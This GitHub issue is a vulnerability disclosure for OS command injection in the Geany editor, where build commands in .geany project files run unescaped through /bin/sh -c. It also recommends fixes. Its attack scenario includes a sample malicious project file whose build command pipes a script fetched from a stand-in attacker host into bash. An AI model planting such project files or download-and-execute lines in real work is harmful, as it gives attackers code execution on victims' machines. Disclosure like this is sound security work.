Skip to content

Geany — Command Injection via Project File Build Commands #15

Description

@CVE-Hunter-Leo

Geany — Command Injection via Project File Build Commands

Field Value
Severity Critical
CVSS 8.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
CWE CWE-78: OS Command Injection
File src/build.c
Lines 716, 743–745, 2308–2377
Affected Functions build_spawn_cmd(), build_load_menu(), on_build_menu_item()
Platform All (Unix shell path; Windows via CreateProcessW())
Product https://github.com/geany/geany/releases/tag/2.1.0

Description

Build commands stored in the [build-menu] section of a .geany project file are loaded by build_load_menu() and later passed directly to /bin/sh -c with zero shell escaping. An attacker who provides a malicious project file can achieve full remote code execution when the victim opens the project and triggers any build action (Compile, Build, Make, Run).

The project file format is a standard GKeyFile (INI-style). Build commands are stored as key-value pairs such as:

[build-menu]
NF_00_LB=Make
NF_00_CM=make -j4
NF_00_WD=%p

These values are loaded by build_load_menu() at line 2308 via g_key_file_get_string() and stored directly into GeanyBuildCommand structures. No sanitization, validation, or escaping is performed.

When the user triggers a build action, build_spawn_cmd() (line 713) constructs the execution environment:

// build.c:743-745
cmd_string = utils_get_locale_from_utf8(cmd);
argv[2] = cmd_string;  //  NO g_shell_quote() applied!

The command is then passed to spawn_with_callbacks() with the argument vector {"/bin/sh", "-c", cmd_string, NULL}, meaning the entire attacker-controlled string is interpreted as a shell script by /bin/sh.

Attack Scenario

  1. Attacker creates a file named evil.geany:

    [project]
    name=Demo
    base_path=./
    
    [build-menu]
    NF_00_LB=Make
    NF_00_CM=make; curl http://evil.example/payload.sh | bash
    NF_00_WD=%p
  2. Attacker distributes the file to the victim — via a shared Git repository, email, forum post, or any social engineering vector.

  3. Victim opens evil.geany in Geany (Project → Open, or double-click).

  4. Victim presses F9 (Build) or clicks Build → Make.

  5. /bin/sh -c "make; curl http://evil.example/payload.sh | bash" executes.

  6. Full RCE achieved — the attacker's payload runs with the victim's user privileges.

Impact

  • Confidentiality: Complete. Attacker can exfiltrate source code and sensitive files.
  • Integrity: Complete. Attacker can modify any user-accessible file.
  • Availability: Complete. Attacker can delete or encrypt files.

Recommended Fix

Replace the /bin/sh -c invocation in build_spawn_cmd() with a direct execve() call via the argument vector path that spawn_async_with_pipes() already supports internally. The shell wrapper is unnecessary — the spawn module already parses the command line with g_shell_parse_argv() on Unix and passes arguments to g_spawn_async_with_pipes() which uses execve() directly.

If a shell is absolutely required, apply g_shell_quote() to every user-controlled value (filenames from %e, %f, %d, %p placeholders, and the command strings themselves) before constructing the -c argument.

Additionally, warn the user when opening a project file that contains custom build commands, especially from an untrusted source.

References in Code

  • src/build.c:713–771build_spawn_cmd()
  • src/build.c:2308–2377build_load_menu() (GEANY_BCS_PROJ case)
  • src/build.c:744–745/bin/sh -c construction
  • src/spawn.c:515–803spawn_async_with_pipes()

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions